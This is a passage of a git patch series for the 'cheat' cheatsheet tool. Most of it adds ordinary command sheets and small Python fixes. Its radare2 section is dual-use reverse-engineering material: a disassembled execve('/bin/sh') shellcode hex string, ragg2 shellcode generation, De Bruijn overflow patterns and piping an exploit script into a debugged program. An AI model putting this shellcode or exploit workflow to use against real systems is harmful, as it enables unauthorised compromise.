cmd.hit=px + +# Comments and defines + + Cd [size]: Define as data + + C- [size]: Define as code + + Cs [size]: Define as String + + Cf [size]: Define as struct + We can define structures to be shown in the disassmbly + + CC: List all comments or add a new comment in console mode + C* Show all comments/metadata + CC add new comment + CC- remove comment + +# Magic files + + pm: Print Magic files analysis + [0x00000000]> pm + 0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1 + + /m [magicfile]: Search magic number headers with libmagic + + search.align + search.from (0 = beginning) + search.to (0 = end) + search.asmstr + search.in + +# Yara + + :yara scan + +# Zignatures + + zg : Generate signatures + eg: zg go go.z + + Run the generated script to load signatures + eg: . go.z + + z: To show signatures loaded: + + +------------------------------------------------------------------- + + r2-(pid2)> pd 35 @ 0x08049adb-10 + | 0x08049adb call fcn.0805b030 + | fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println + | 0x08049ae0 add esp, 0xc + | 0x08049ae3 call fcn.08095580 + + +------------------------------------------------------------------- + +# Compare Files + + r2 -m 0xf0000 /etc/fstab ; Open source file + + o /etc/issue ; Open file2 at offset 0 + + o ; List both files + + cc offset: Diff by columns between current offset address and "offset" + +# Graphs + + + Basic block graphs + + af: Load function metadata + + ag $$ > a.dot: Dump basic block graph to file + + ag $$ | xdot: Show current function basic block graph + + + Call graphs + + af: Load function metadata + + agc $$ > b.dot: Dump basic block graph to file + + + Convert .dot in .png + + dot -Tpng -o /tmp/b.png b.dot + + + Generate graph for file + + radiff2 -g main crackme.bin crackme.bin > /tmp/a + xdot /tmp/a + +# Debugger + + + Start r2 in debugger mode. r2 will fork and attach + + r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /") + + ptrace://pid (debug backend does not notice, only access to mapped memory) + + + Pass arguments + + r2 -d rarun2 program=pwn1 arg1=$(python exploit.py) + + + Pass stdin + + r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) + + + Commands + + do: Reopen program + + dp: Shows debugged process, child processes and threads + + dc: Continue + + dcu
: Continue until symbol (sets bp in address, continua until bp and remove bp) + + dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library) + + ds: Step in + + dso: Step out + + dss: Skip instruction + + dr register=value: Change register value + + dr(=)?: Show register values + + db address: Sets a breakpoint at address + db sym.main add breakpoint into sym.main + db 0x804800 add breakpoint + db -0x804800 remove breakpoint + + dsi (conditional step): Eg: "dsi eax==3,ecx>0" + + dbt: Shows backtrace + + drr: Display in colors and words all the refs from registers or memory + + dm: Shows memory map (* indicates current section) + [0xb776c110]> dm + sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls + sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls + sys 0xb776a000 - 0xb776b000 s r-x [vdso] + sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so + sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so + sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack] + + + To follow child processes in forks (set-follow-fork-mode in gdb) + + dcf until a fork happen then use dp to select what process you want to debug. + + + PEDA like details + + drr;pd 10@-10;pxr 40@esp + + + Debug in visual mode + + toggl breakpoints with F2 + single-step with F7 (s) + step-over with F8 (S) + continue with F9 + +# WebGUI + + =h: Start the server + =H: Start server and browser + +# rax2 - Base Conversion + + -e: Change endian + + -k: random ASCII art to represent a number/hash. Similar to how SSH represents keys + + -s: ASCII to hex + rax2 -S hola (from string to hex) + rax2 -s 686f6c61 (from hex to string) + + -S: binary to hex (for files) + + -N: pack an integer + rax2 -N 0x1234 # \x34\x12\x00\x00 + +# rahash2 - Entropy, hashes and checksums + + -a: Specify the algorithm + + -b XXX: Block size + + -B: Print all blocks + + -a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy) + + + Rot13 with rahash2 + rahash2 -E rot -S s:13 -s ‘Hello\n’ + +# radiff2 - File diffing + + -s: Calculate text distance from two files. + + -d: Delta diffing (For files with different sizes. Its not byte per byte) + + -C: Code diffing (instead of data) + + +------------------------------------------------------------------- + + Diff original and patched on x86_32, using graphdiff algorithm + radiff2 -a x86 -b32 -C original patched + + Show differences between original and patched on x86_32 + radiff2 -a x86 -b32 original patched : + + +------------------------------------------------------------------- + +# rasm2 - Assembly/Disasembly + + -L: Supported architectures + + -a arch instruction: Sets architecture + rasm2 -a x86 'mov eax,30' => b81e000000 + + -b tam: Sets block size + + -d: Disassembly + rasm2 -d b81e000000 => mov eax, 0x1e + + -C: Assembly in C output + rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00" + + -D: Disassemble showing hexpair and opcode + rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e + + -f: Read data from file instead of ARG. + + -t: Write data to file + + + Disassemble shellcode from hex stdin + + +------------------------------------------------------------------- + + echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d - + xor eax, eax + movabs rbx, 0xff978cd091969dd1 + neg rbx + push rbx + push rsp + pop rdi + cdq + push rdx + push rdi + push rsp + pop rsi + mov al, 0x3b + syscall + + +------------------------------------------------------------------- + +# rafind2 - Search + + -Z: Look for Zero terminated strings + + -s str: Look for specifc string + + -X: Hex dump around output + + + Search "/bin/sh" in libc + + rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6 + +# ragg2 - Shellcode generator, C/opcode compiler + + P: Generate De Bruijn patterns + ragg2 -P 300 -r + + -a arch: Configure architecture + + -b bits: Specify architecture bits (32/64) + + -i shellcode: Specify shellcode to generate + + -e encoder: Specify encoder + + + ragg2-cc: Generate shellcode from c + + + Generate a x86, 32 bits exec shellcode + ragg2 -a x86 -b 32 -i exec + +# rabin2 - Executable analysis: symbols, imports, strings + + -I: Executable information + + -C: Returns classes. Useful to list Java Classes + + -l: Dynamic linked libraries + + -s: Symbols + + -z: Strings + +# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds + + r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits + r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin + +# ESIL emulation + + 1) aei: Initialize ESIL VM + + 2) aeim: Assign ESIL stack + aeim 0xffffd000 0x1000 stack + + 3) aeip: Program counter to current seek + + 4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code) + + 5) aes: Single stepping in emulation mode + + + Toggle IL representation via O in Visual Mode + +# ESIL IL Representation + + op esil + ------------ + mov = + mul * + div / + and & + neg ! + read [] + if ?{ + add + + sub - + xor ^ + or | + cmp == + write =[] + + + prefix is % + + carry from bit x -> %cx + + borrow from bit x -> %bx + + zero-flag -> %z + + parity of dst -> %p + + sign-flag -> %s + + overflow-flag -> %o + + + BREAK - Stop parsing and emulate next instruction + + LOOP - restart emulation of instruction + + GOTO n - jump to n + + TODO - stop emulation and eprintf("TDOD %s", ins) + + x86 ESIL + ------------------------------------------------------ + mov eax, ebx ebx,eax,= + jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,} + cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,= + push ebp 4,esp,-=ebp,esp,=[4] + + + ESIL Doc + https://github.com/radare/radare2book/blob/master/esil.md + +# r2pipe commands + + + Invoke r2pipe script via r2 cmdline + + [0x00000000]> #!pipe node script.js + [0x00000000]> #!pipe python script.py + + + Good collection: + https://radare.org/get/r2pipe-nn2015.pdf + https://github.com/jpenalbae/r2-scripts +# Parsing ELF + + !!! open with r2 -nn + + + Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..) + + [0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~.. + +# pf Templates + + + Generate templates for structs/enums with td command + + "td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};" + + https://github.com/Maijin/r2-pf-templates/ + + + Cast data @ to and print it + + tp =
+ +# r2scapy + + r2 -i r2scapy.py dump.bin + [0x00000000]> scapy DNS 0x81de3c 48 + DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.')) + + + generate packets with scapy + >>> from scapy.all import * + >>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0) + +# r2m2 -Miasm Intermediate Representation Plugin + + + Assemble and disassemble MIPS32 using rasm2 + + r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d - + ADDIU A0, A1, 0x2 + + + Disassemble random MSP430 instructions in r2 + + r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' - + 0x00000000 07fa and.w R10, R7 + 0x00000002 47ad dadd.b R13, R7 + 0x00000004 f05e0778 add.b @R14+, 0x7807(PC) + 0x00000008 f46d81ed addc.b @R13+, 0xED81(R4) + 0x0000000c 3fdc bis.w @R12+, R15 + + Assemble MIPS32 using rasm2 and display the call graph using r2 + + r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin + + r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin + ,=< 0x00000000 0c000001 JAL 0x4 + `-> 0x00000004 00000000 NOP + +# bin carving with r2 + + + Open raw dump + + r2 -n dump.bin + + + Searching for magic + + [0x00000000]> / \x7fELF + Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46 + 0x00001340 hit0_0 + 0x00001744 hit0_1 + ... + + + Dump 1M with at several hits + + [0x00000000]> b 1M + [0x00000000]> wt @@ hit0* + + + Automate it + + $ for a in dump.* ; do + sz=`rabin2 -Z $a` # get RBin.filesize + r2 -wnqc"r $sz" $a # resize file + done + + http://radare.today/posts/carving-bins/ + +# r4ge - symbolic execution + + https://github.com/gast04/r4ge + + Usage: https://asciinema.org/a/155856 + +# r2wiki -Macro for using wiki in commandline + + + https://github.com/securisec/r2wiki + + $wiki "query string" + From cd6826d5d4adcffce207dd10952ad2c5819b34cc Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Thu, 8 Mar 2018 20:39:41 +0900 Subject: [PATCH 22/97] Added one more zip cheat --- cheat/cheatsheets/zip | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/zip b/cheat/cheatsheets/zip index ad22773..ee6f8e8 100644 --- a/cheat/cheatsheets/zip +++ b/cheat/cheatsheets/zip @@ -1,5 +1,8 @@ # Create zip file zip archive.zip file1 directory/ +# Create zip file with password +zip -P password archive.zip file1 + # To list, test and extract zip archives, see unzip cheat unzip From 51f7a42eceb99de83a4c74a11de6bd427d0082aa Mon Sep 17 00:00:00 2001 From: bu6hunt3r Date: Fri, 9 Mar 2018 18:26:10 +0100 Subject: [PATCH 23/97] Started mutt mail client ch-sh --- cheat/cheatsheets/mutt | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 cheat/cheatsheets/mutt diff --git a/cheat/cheatsheets/mutt b/cheat/cheatsheets/mutt new file mode 100644 index 0000000..fa8dc7b --- /dev/null +++ b/cheat/cheatsheets/mutt @@ -0,0 +1,8 @@ +# Create new mailbox in IMAP + + When located in mailbox list (c) + shift + C + +# Move multiple messages to folder (bulk operations) + + 1. Select/tag them with alt+'t' + 2. ;s in mail inbox overview for bulk operation From 544d11aebca3acd97721d580ebdda6a2ba773334 Mon Sep 17 00:00:00 2001 From: Givi Khojanashvili Date: Mon, 12 Mar 2018 12:19:17 +0300 Subject: [PATCH 24/97] Add nmcli import example. Fix typos in `nmcli add` command. --- cheat/cheatsheets/nmcli | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/cheat/cheatsheets/nmcli b/cheat/cheatsheets/nmcli index 3623470..9fd94ce 100644 --- a/cheat/cheatsheets/nmcli +++ b/cheat/cheatsheets/nmcli @@ -34,7 +34,10 @@ nmcli dev status # Add a dynamic ethernet connection - parameters: # -- the name of the connection # -- the name of the interface -ncmli con add type ethernet con-name ifname +nmcli con add type ethernet con-name ifname + +# Import OpenVPN connection settings from file: +nmcli con import type openvpn file # Bring up the ethernet connection nmcli con up From 45c0dad3645feb8ed82d86f20958eb69dd4b3ead Mon Sep 17 00:00:00 2001 From: bu6hunt3r Date: Tue, 22 May 2018 09:37:17 +0200 Subject: [PATCH 25/97] Changed r2 cheatsheet --- cheat/cheatsheets/r2 | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/cheat/cheatsheets/r2 b/cheat/cheatsheets/r2 index e5be1e1..3a167af 100644 --- a/cheat/cheatsheets/r2 +++ b/cheat/cheatsheets/r2 @@ -340,6 +340,11 @@ fs flagspace: Change to the specified flag space + fe loop and create numbered flags: + + 1. fs demo_flagspace + 2. fe demo_flagspace @@=`pdf~jne[1]` + # Yank & Paste y n: Copies n bytes from current position From b210fbca5f659018d0afc5ee25ce7a6b8e86bba6 Mon Sep 17 00:00:00 2001 From: bu6hunt3r Date: Tue, 5 Jun 2018 16:25:39 +0200 Subject: [PATCH 26/97] Changed r2 cheatsheet --- cheat/cheatsheets/r2 | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cheat/cheatsheets/r2 b/cheat/cheatsheets/r2 index 3a167af..402a916 100644 --- a/cheat/cheatsheets/r2 +++ b/cheat/cheatsheets/r2 @@ -785,6 +785,12 @@ + Toggle IL representation via O in Visual Mode +# ESIL Linear emulation + + Find all references to curr. address using linear esil emulation on all imports. + + /re$$@@ sym.imp.* + # ESIL IL Representation op esil From c0fe871b33dcef3f862490461dd46547aa55f72a Mon Sep 17 00:00:00 2001 From: liuyang1 Date: Wed, 13 Jun 2018 18:56:54 +0800 Subject: [PATCH 27/97] fix except case - when redirect stdout to pipe but not tty, it throw exception. - when have no content, it throw exception. - remove reductant newline at end of file --- bin/cheat | 7 ++++--- cheat/utils.py | 10 ++++++++-- 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/bin/cheat b/bin/cheat index 9213639..0b8cc7c 100755 --- a/bin/cheat +++ b/bin/cheat @@ -34,6 +34,7 @@ Examples: cheat -s ssh """ +from __future__ import print_function # require the dependencies from cheat import sheets, sheet from cheat.utils import colorize @@ -50,7 +51,7 @@ if __name__ == '__main__': # list cheatsheets elif options['--list']: - print(sheets.list()) + print(sheets.list(), end="") # create/edit cheatsheet elif options['--edit']: @@ -58,8 +59,8 @@ if __name__ == '__main__': # search among the cheatsheets elif options['--search']: - print(colorize(sheets.search(options['']))) + print(colorize(sheets.search(options[''])), end="") # print the cheatsheet else: - print(colorize(sheet.read(options['']))) + print(colorize(sheet.read(options[''])), end="") diff --git a/cheat/utils.py b/cheat/utils.py index e8c850d..8b3d540 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -10,6 +10,9 @@ def colorize(sheet_content): # only colorize if so configured if not 'CHEATCOLORS' in os.environ: return sheet_content + # only colorize if stdout is tty + if not sys.stdout.isatty(): + return sheet_content try: from pygments import highlight @@ -20,8 +23,11 @@ def colorize(sheet_content): except ImportError: return sheet_content - first_line = sheet_content.splitlines()[0] - lexer = get_lexer_by_name('bash') + lines = sheet_content.splitlines() + if len(lines) == 0: + return "" + first_line = lines[0] + lexer = get_lexer_by_name('bash') if first_line.startswith('```'): sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) try: From f93ca8f7ce744d42607386cb200921758227872b Mon Sep 17 00:00:00 2001 From: Darjan Salaj Date: Wed, 4 Jul 2018 23:04:18 +0200 Subject: [PATCH 28/97] Add cheatsheet slurm --- cheat/cheatsheets/slurm | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 cheat/cheatsheets/slurm diff --git a/cheat/cheatsheets/slurm b/cheat/cheatsheets/slurm new file mode 100644 index 0000000..125af9a --- /dev/null +++ b/cheat/cheatsheets/slurm @@ -0,0 +1,15 @@ +# Submit a new job: +sbatch job.sh + +# List all jobs for a user: +squeue -u user_name + +# Cancel a job by id or name: +scancel job_id +scancel --name job_name + +# List all information for a job: +scontrol show jobid -dd job_id + +# Status info for currently running job: +sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps From 130cf1d8306f55bc16a4dd8ce1718421d6913687 Mon Sep 17 00:00:00 2001 From: idarlund Date: Wed, 11 Jul 2018 14:56:55 +0200 Subject: [PATCH 29/97] Update rsync added rsync over ssh cheat --- cheat/cheatsheets/rsync | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/rsync b/cheat/cheatsheets/rsync index 43343b6..22b5ea9 100644 --- a/cheat/cheatsheets/rsync +++ b/cheat/cheatsheets/rsync @@ -12,3 +12,6 @@ rsync -auv /src/foo /dest # Explicitly copy /src/foo to /dest/foo rsync -auv /src/foo/ /dest/foo + +# Copy file from local to remote over ssh with non standard port 1234 to destination folder in remoteuser's home directory +rsync -avz -e "ssh -p1234" /source/file1 remoteuser@X.X.X.X:~/destination/ From b0aa272b492930e01af55cfd8da542ee339e56ed Mon Sep 17 00:00:00 2001 From: Axel Navarro Date: Thu, 12 Jul 2018 07:03:34 -0300 Subject: [PATCH 30/97] Add cheatsheet for lsblk --- cheat/cheatsheets/lsblk | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 cheat/cheatsheets/lsblk diff --git a/cheat/cheatsheets/lsblk b/cheat/cheatsheets/lsblk new file mode 100644 index 0000000..b40fe86 --- /dev/null +++ b/cheat/cheatsheets/lsblk @@ -0,0 +1,21 @@ +# Show all available block devices along with their partitioning schemes +lsblk + +# To show SCSI devices: +lsblk --scsi + +# To show a specific device +lsblk /dev/sda + +# To verify TRIM support: +# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns. +# Non-zero values indicate TRIM support +lsblk --discard + +# To featch info about filesystems: +lsblk --fs + +# For JSON, LIST or TREE output formats use the following flags: +lsblk --json +lsblk --list +lsblk --tree # default view From ff1227bca87e500118810ff9dae70fd716b0d93c Mon Sep 17 00:00:00 2001 From: Peter Ondrejka Date: Tue, 24 Jul 2018 10:05:25 +0200 Subject: [PATCH 31/97] minor typo in command name --- cheat/cheatsheets/nmcli | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/cheatsheets/nmcli b/cheat/cheatsheets/nmcli index 3623470..938e460 100644 --- a/cheat/cheatsheets/nmcli +++ b/cheat/cheatsheets/nmcli @@ -34,7 +34,7 @@ nmcli dev status # Add a dynamic ethernet connection - parameters: # -- the name of the connection # -- the name of the interface -ncmli con add type ethernet con-name ifname +nmcli con add type ethernet con-name ifname # Bring up the ethernet connection nmcli con up From 7e94f1e0bae73774c9c20c26269a8bfdacfc28fc Mon Sep 17 00:00:00 2001 From: bu6hunt3r Date: Thu, 16 Aug 2018 09:50:47 +0200 Subject: [PATCH 32/97] Changed mutt cheatsheet --- cheat/cheatsheets/mutt | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/cheat/cheatsheets/mutt b/cheat/cheatsheets/mutt index fa8dc7b..9b8b8a8 100644 --- a/cheat/cheatsheets/mutt +++ b/cheat/cheatsheets/mutt @@ -6,3 +6,17 @@ 1. Select/tag them with alt+'t' 2. ;s in mail inbox overview for bulk operation + +# Deleting / Undeleting all messages in mutt + + 1. In mutt’s index, hit ‘D’ (UPPERCASE D) + 2. It will prompt you with “Delete messages matching: “ + + + enter this string: + + ~A + + 3. It should mark all for deletion! + + + 4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages. From 146b6714121e75286aff99c9247aaee44fe52d9d Mon Sep 17 00:00:00 2001 From: Miroslav Franc Date: Mon, 3 Sep 2018 15:54:56 +0200 Subject: [PATCH 33/97] add few more for examples, the last two are probably bash specific --- cheat/cheatsheets/for | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/cheat/cheatsheets/for b/cheat/cheatsheets/for index 2ca31ff..34902b5 100644 --- a/cheat/cheatsheets/for +++ b/cheat/cheatsheets/for @@ -10,8 +10,26 @@ do echo $var done +# loop over all the JPG files in the current directory +for jpg_file in *.jpg +do + echo $jpg_file +done + # loop specified number of times for i in `seq 1 10` do echo $i done + +# loop specified number of times: the C/C++ style +for ((i=1;i<=10;++i)) +do + echo $i +done + +# loop specified number of times: the brace expansion +for i in {1..10} +do + echo $i +done From 4aef22f45783f32a16fa73fceacd5f7ef8907e33 Mon Sep 17 00:00:00 2001 From: Dave Rea Date: Tue, 4 Sep 2018 10:13:55 -0400 Subject: [PATCH 34/97] Add strikethrough to formatting (this is the one I always forget!) --- cheat/cheatsheets/markdown | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cheat/cheatsheets/markdown b/cheat/cheatsheets/markdown index 917fcf1..7f178e3 100644 --- a/cheat/cheatsheets/markdown +++ b/cheat/cheatsheets/markdown @@ -38,7 +38,7 @@ This is [an example](http://example.com "Title") inline link. # image ![Alt Text](/path/to/file.png) -# emphasis +# formatting *em* _em_ - **strong** __strong__ +~~strikethrough~~ From 2fcc808e6337dedc852da8a101df54fbcf0b8503 Mon Sep 17 00:00:00 2001 From: Erik Terpstra <39518+eterps@users.noreply.github.com> Date: Tue, 11 Sep 2018 09:22:21 +0200 Subject: [PATCH 35/97] Added insert/add line examples Added insert/add line examples. --- cheat/cheatsheets/sed | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cheat/cheatsheets/sed b/cheat/cheatsheets/sed index e22c97a..93bc163 100644 --- a/cheat/cheatsheets/sed +++ b/cheat/cheatsheets/sed @@ -15,3 +15,9 @@ sed '/^$/d' file.txt # To replace newlines in multiple lines sed ':a;N;$!ba;s/\n//g' file.txt + +# Insert a line before a matching pattern: +sed '/Once upon a time/i\Chapter 1' + +# Add a line after a matching pattern: +sed '/happily ever after/a\The end.' From cd4655925044139623bf968e81dbd0c604f91ad9 Mon Sep 17 00:00:00 2001 From: Jessica Stokes Date: Wed, 19 Sep 2018 17:53:19 -0700 Subject: [PATCH 36/97] Add `tee /dev/tty` mid-pipeline example to tee --- cheat/cheatsheets/tee | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/tee b/cheat/cheatsheets/tee index 301d4df..f2de805 100644 --- a/cheat/cheatsheets/tee +++ b/cheat/cheatsheets/tee @@ -3,3 +3,6 @@ ls | tee outfile.txt # To tee stdout and append to a file: ls | tee -a outfile.txt + +# To tee stdout to the terminal, and also pipe it into another program for further processing: +ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n" From 4b6dc22c0ade6151e29b8788345a59ea19e191eb Mon Sep 17 00:00:00 2001 From: Tyler Culp Date: Thu, 20 Sep 2018 13:53:22 -0400 Subject: [PATCH 37/97] Changed search behavior to lower the search term and the lines being searched, thus providing case-insensitive search --- cheat/sheets.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cheat/sheets.py b/cheat/sheets.py index 1a0b28e..58cf976 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -79,11 +79,12 @@ def list(): def search(term): """ Searches all cheatsheets for the specified term """ result = '' + lowered_term = term.lower() for cheatsheet in sorted(get().items()): match = '' for line in open(cheatsheet[1]): - if term in line: + if lowered_term in line: match += ' ' + line if match != '': From 62a2bf3c2d42499abbd1203c05b5fc22a4eeb68a Mon Sep 17 00:00:00 2001 From: Shadab Zafar Date: Mon, 1 Oct 2018 12:34:46 +0530 Subject: [PATCH 38/97] Update pacman --- cheat/cheatsheets/pacman | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/pacman b/cheat/cheatsheets/pacman index cb51fc6..9312fe1 100644 --- a/cheat/cheatsheets/pacman +++ b/cheat/cheatsheets/pacman @@ -27,6 +27,9 @@ pacman -Ql | sed -n -e 's/.*\/bin\///p' | tail -n +2 # To list explicitly installed packages pacman -Qe +# To list the top-most recent explicitly installed packages (not in the base groups) +expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20 + # To list orphan packages (installed as dependencies and not required anymore) pacman -Qdt From 8ec51d31944853a31bc41030a2112509f6adcd02 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 15 Oct 2018 10:51:11 -0400 Subject: [PATCH 39/97] v2.3.0 Version-bump to `v2.3.0`. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 9213639..1b785e7 100755 --- a/bin/cheat +++ b/bin/cheat @@ -42,7 +42,7 @@ from docopt import docopt if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.2.3') + options = docopt(__doc__, version='cheat 2.3.0') # list directories if options['--directories']: diff --git a/setup.py b/setup.py index 6788406..8876409 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ import os setup( name = 'cheat', - version = '2.2.3', + version = '2.3.0', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From cebe3de3899bb2dea17b426ce8bb3ee29a5f8541 Mon Sep 17 00:00:00 2001 From: tculp Date: Mon, 15 Oct 2018 12:21:52 -0400 Subject: [PATCH 40/97] Update sheets.py Added a missing .lower() to the line --- cheat/sheets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/sheets.py b/cheat/sheets.py index 58cf976..61b851d 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -84,7 +84,7 @@ def search(term): for cheatsheet in sorted(get().items()): match = '' for line in open(cheatsheet[1]): - if lowered_term in line: + if lowered_term in line.lower(): match += ' ' + line if match != '': From cccf37c284b44099bf9e4982b1029aff6f94ce58 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 16 Oct 2018 10:45:09 -0400 Subject: [PATCH 41/97] Bumped the `patch` version number --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 1b785e7..0e7fb7c 100755 --- a/bin/cheat +++ b/bin/cheat @@ -42,7 +42,7 @@ from docopt import docopt if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.3.0') + options = docopt(__doc__, version='cheat 2.3.1') # list directories if options['--directories']: diff --git a/setup.py b/setup.py index 8876409..b7aeee4 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ import os setup( name = 'cheat', - version = '2.3.0', + version = '2.3.1', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From 8ac1851a69f417f3be8dbf938b2b313cf306190f Mon Sep 17 00:00:00 2001 From: Florian Kempenich Date: Thu, 25 Oct 2018 11:34:25 +0100 Subject: [PATCH 42/97] Add cheatsheet for `scd` `scd` is a fantastic `oh-my-zsh` plugin to quickly jump between directories. See here: https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins/scd --- cheat/cheatsheets/scd | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 cheat/cheatsheets/scd diff --git a/cheat/cheatsheets/scd b/cheat/cheatsheets/scd new file mode 100644 index 0000000..b54aff1 --- /dev/null +++ b/cheat/cheatsheets/scd @@ -0,0 +1,20 @@ +# Index recursively some paths for the very first run +scd -ar ~/Documents/ + +# Change to a directory path matching "doc" +scd doc + +# Change to a path matching all of "a", "b" and "c" +scd a b c + +# Change to a directory path that ends with "ts" +scd "ts$" + +# Show selection menu and ranking of 20 most likely directories +scd -v + +# Alias current directory as "xray" +scd --alias=xray + +# Jump to a previously defined aliased directory +scd xray From 9241de04d681304f21dc1b3f91d26b2ef8056723 Mon Sep 17 00:00:00 2001 From: Florian Kempenich Date: Thu, 25 Oct 2018 11:37:39 +0100 Subject: [PATCH 43/97] Update formatting to adhere to the guideline. --- cheat/cheatsheets/scd | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/cheat/cheatsheets/scd b/cheat/cheatsheets/scd index b54aff1..88b4b3c 100644 --- a/cheat/cheatsheets/scd +++ b/cheat/cheatsheets/scd @@ -1,20 +1,20 @@ -# Index recursively some paths for the very first run +# To index recursively some paths for the very first run: scd -ar ~/Documents/ -# Change to a directory path matching "doc" +# To change to a directory path matching "doc": scd doc -# Change to a path matching all of "a", "b" and "c" +# To change to a path matching all of "a", "b" and "c": scd a b c -# Change to a directory path that ends with "ts" +# To change to a directory path that ends with "ts": scd "ts$" -# Show selection menu and ranking of 20 most likely directories +# To show selection menu and ranking of 20 most likely directories: scd -v -# Alias current directory as "xray" +# To alias current directory as "xray": scd --alias=xray -# Jump to a previously defined aliased directory +# To jump to a previously defined aliased directory: scd xray From 6d1eff16a1b29becc85d88d3a41ebfdf891c4e47 Mon Sep 17 00:00:00 2001 From: Sundar Raman Date: Sun, 11 Nov 2018 13:02:25 +0800 Subject: [PATCH 44/97] Disable colorized output when CHEATCOLORS is not "true", or not set --- cheat/utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/utils.py b/cheat/utils.py index e8c850d..a6830ac 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -8,7 +8,7 @@ def colorize(sheet_content): """ Colorizes cheatsheet content if so configured """ # only colorize if so configured - if not 'CHEATCOLORS' in os.environ: + if not 'CHEATCOLORS' in os.environ or os.environ.get('CHEATCOLORS') != 'true': return sheet_content try: From 